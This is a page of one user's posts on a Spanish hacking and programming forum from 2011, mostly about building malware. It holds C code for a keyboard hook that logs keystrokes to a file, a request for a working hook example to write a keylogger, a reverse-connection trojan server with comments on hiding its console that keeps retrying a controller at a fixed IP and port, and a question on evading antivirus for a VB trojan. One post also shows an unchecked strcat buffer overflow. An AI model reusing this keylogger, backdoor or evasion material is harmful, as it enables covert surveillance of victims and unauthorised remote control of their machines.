16  Programación / Programación C/C++ / Problema: Tamaño de Puntero char en: 15 Agosto 2011, 22:55 pm
Hola, tengo el siguiente codigo:
 * Un puntero cad a char
 * De tamaño 10
 
Luego de inicializarlo con strcpy, voy agregando cadenas con strcat, pero al ser la variable cad de 10 elementos, ¿no deberia haber un error?


Ademas mi idea es concatenar 'n' caracteres y no solamente '10', es decir no se sabe cuantas cadenas recibira la variable cad, ¿cual seria la declaracion?



Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main()
  5. {
  6.  
  7. char *cad;
  8.  
  9. cad=new char[10]();
  10. strcpy(cad,"");
  11.  
  12. strcat(cad,"123");
  13. strcat(cad,"456");
  14. strcat(cad,"789");
  15.  
  16. strcat(cad,"abc"); //<-- Aqui deberia haber un error
  17. strcat(cad,"def"); //<-- Aqui tambien pero el programa corre
  18.  
  19.        strcat(cad,"def"); //<-- Aqui el programa cierra abruptamente
  20.  
  21. printf("%s\n",cad);
  22.  
  23. return 0;
  24.  
  25. }
  26.  

Saludos.
17  Programación / Programación C/C++ / [SOLUCIONADO] Problema con ALTGR (Keylogger) en: 13 Agosto 2011, 06:19 am
Hola amigos:

Estoy haciendo un hook al teclado y al tratar de capturar los corchetes mi codigo no lo hace, tampoco detecta el ALT-Izquierdo ni el ALT-Derecho.

Al menos en mi teclado, el corchete de apertura esta asi:
[`^ todo eso en una tecla (el corchete de apertura sale al presionar ALTGR+la tecla esa)
+*] todo eso en una tecla (el corchete de cierre sale al presionar ALTGR+la tecla esa)


tengo lo siguiente:
Código
  1. LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {
  2.  
  3. PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
  4. DWORD Tecla = puntero->vkCode;
  5.  
  6. if (wParam == WM_KEYDOWN) {
  7.  
  8. switch (puntero->vkCode) {
  9. case VK_RETURN: fputs("\n",f);      break;  //ENTER DETECTADO
  10. case VK_LMENU: fputs(" [AltI] ",f);  break;  //¿POR QUE NO DETECTA ESTA TECLA?
  11. case VK_RMENU: fputs(" [AltD] ",f);  break;  //¿POR QUE NO DETECTA ESTA OTRA TECLA?
  12.  
  13. case VK_RIGHT: fputs("[D]",f);    break; //la tecla flecha derecha. OK
  14. case VK_DOWN: fputs("[D]",f);    break; //la tecla flecha abajo. OK
  15. case VK_DELETE: fputs("[S]",f);    break; //la tecla suprimir
  16.  
  17.  
  18. //capturamos las teclas normales
  19. default:
  20.  
  21. if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
  22. if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
  23.  
  24. puntero->vkCode+=32; // a minusculas
  25. fputc(puntero->vkCode,f);
  26. }else{  
  27. fputc(puntero->vkCode,f);
  28. }
  29.  
  30. }
  31. if (Tecla==VK_SPACE){ //espacio en blanco
  32. fputs(" ",f);
  33. }
  34.  
  35. if (Tecla==190){ //detecta correctamente el punto y los dos puntos
  36.  if (!(GetAsyncKeyState(VK_SHIFT)))
  37. fputs(".",f); //punto
  38.  else
  39. fputs(":",f); //dos puntos
  40. }
  41.  
  42. if (Tecla==188){ //coma y punto y coma. OK
  43.  if (!(GetAsyncKeyState(VK_SHIFT)))
  44. fputs(",",f);
  45.  else
  46.  fputs(";",f);
  47. }
  48.  
  49. if (Tecla==189){ //guion y sub guion. OK
  50.  if (!(GetAsyncKeyState(VK_SHIFT)))
  51. fputs("-",f); //
  52.  else
  53.  fputs("_",f); //
  54. }
  55.  
  56.  
  57.  
  58. /*ESTE ES EL CODIGO QUE NO TRABAJA, EL PROGRAMA EJECUTA PERO POR
  59. ALGUNA RAZON NO PUEDE CAPTURAR NI EL ALTGR NI EL CORCHETE DE APERTURA*/
  60.  
  61. if (Tecla==186){ //ERROR ¿POR QUE NO DETECTA LA TECLA DONDE ESTA MI CORCHETE DE APERTURA?
  62. if ((GetAsyncKeyState(VK_SHIFT))){ //si esta presionado SHIFT
  63.  if (!GetAsyncKeyState(165)) //si no esta presionado ALTGR
  64.    fputs("`",f); //
  65. }
  66.  else
  67.  if (GetAsyncKeyState(165)) //si esta presionado ALTGR
  68.    fputs("[",f); //corchete capturado <-- pero no funciona
  69.  else
  70.  fputs("^",f);
  71.  
  72.  
  73. }
  74. [/color]
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82. }
  83. }    
  84.   return CallNextHookEx(NULL, nCode, wParam, lParam);
  85. }
  86.  
  87.  

He probado con VK_OEM_4 pero tampoco.
¿Alguna sugerencia?.

18  Programación / Programación C/C++ / SetWindowsHookEx ¿hay un ejemplo claro y funcional? en: 5 Agosto 2011, 05:03 am
Buenas a todos

Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.

Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.

Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.

Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.

Saludos y muchas gracias desde ya.
19  Programación / Programación C/C++ / Peticion del Socket en: 20 Julio 2011, 05:47 am
Hola a todos, estoy iniciandome con los Sockets en C y he tomado un code del amigo EON, crea un socket (servidor, en conexion inversa) y envia o intenta conectarse con su cliente que esta hecho en Basic:

Servidor:
Código
  1. #include <winsock2.h>
  2. #include <windows.h>
  3. #include <stdio.h>
  4.  
  5. #pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
  6. void main(void)
  7. {
  8. //ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la
  9. //consola y poner el programa como proceso. Por ahora la dejamos asi.
  10.  
  11. WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
  12. SOCKET sock;
  13. struct hostent *host;
  14. struct sockaddr_in direc;
  15. int conex;
  16. char Buffer[1024];
  17. int len;
  18. //Inicializamos
  19. WSAStartup(MAKEWORD(2,2),&wsa);
  20. //Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para
  21. //hacer las pruevas
  22.  
  23. host=gethostbyname("192.168.1.4"); //localhost = 127.0.0.1 ;P
  24. //creamos el socket
  25. sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  26. if (sock==-1)
  27. {
  28. //Si se produce un error al crear el socket
  29. main(); //Llamamos de nuevo a la función principal para seguir intentandolo
  30. }
  31. //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
  32. //y decimos que el puerto al que deberá conectar
  33. direc.sin_family=AF_INET;
  34. direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el
  35. //usuario cuando hagamos el server edit
  36. direc.sin_addr = *((struct in_addr *)host->h_addr);
  37. memset(direc.sin_zero,0,8);
  38. //Intentamos establecer la conexión hasta que lo logremos
  39. conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  40. while (conex==-1)
  41. { //Esto es lo que hará si no se puede conetar:
  42. Sleep(250); //Hacemos q el programa se detenga un poco, cuando se termine el
  43. //troyano conviene subir este intervalo
  44. //Por ahora lo dejamos asi para hacer mas comodas las pruevas
  45. conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos
  46. //establecer la conexión de nuevo hasta que lo logremos.
  47. printf("\nSe ha intentado conectar con el cliente...");
  48. }
  49.  
  50. //printf("\n\n Ok, ");
  51. len=send(sock,"aqui C++",8,0); //Como somos muy educados saludamos xDD el 4 despues
  52. //del hola indica el nº de
  53. //caracteres a enviar
  54.  
  55. while (len!=0){ //Mientras que permanezcamoos conectados
  56.  
  57. len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
  58. if (len>0) //Si seguimos conectados...
  59. {
  60. Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena
  61.  
  62. //Aki hay q poner el conjunto de if's para las acciones
  63. }
  64. }
  65.  
  66. main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando
  67. //conectarse
  68. }
  69.  

Muy bien, todo compila normalmente, ahora el cliente es un WINSOCK normal en Basic con su localport = 1234 con su boton 'Iniciar la Escucha'.

Al correr cliente y servidor y poner a la escucha el cliente, el servidor de C efectivamente lanza su peticion al cliente y éste lo detecta en su evento 'ConnectionRequest', PERO A PROPOSITO HAGO QUE NO LO ACEPTE, por lo que el servidor deberia seguir intentando conectarse con su cliente, lo que noto que pasa es que el servidor al enviar la peticion y notar que el cliente lo ha detectado, deja de enviar peticiones, ademas cuando cierro el cliente el servidor deberia volver a realizar infinitos intentos de conectarse con su cliente hasta que éste lo acepte con un Accept().

 ¿Que sucede?

Desde ya gracias por su tiempo y ayuda.
20  Programación / Programación Visual Basic / Evadir el antivirus en: 8 Julio 2011, 06:55 am
Hola que tal, espero puedan orientarme con este tema.

El avira (y lo mas seguro otros antivirus) me esta detectando mi proyecto en VB de troyano como malware, lo sé, era de esperarse ya que las llamadas a la API o al registro de Windows lo hago asi, sin ningun tipo de cifrado o algo parecido. Mi pregunta es: ¿Hasta la fecha hay algun metodo efectivo que ayude a saltarse el antivirus?.. He leido sobre cifrar el proyecto pero al menos el de Karcrack no me ha funcionado, deja muchas lineas en rojo, tambien lo de las llamadas a las APIS no de la forma convencional sino de una tal que el antivirus no lo detecta, aun asi el tema no me ha quedado muy claro y por eso el motivo del post.

Desde ya gracias por su ayuda.

Saludos.
Páginas: 1 [2] 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines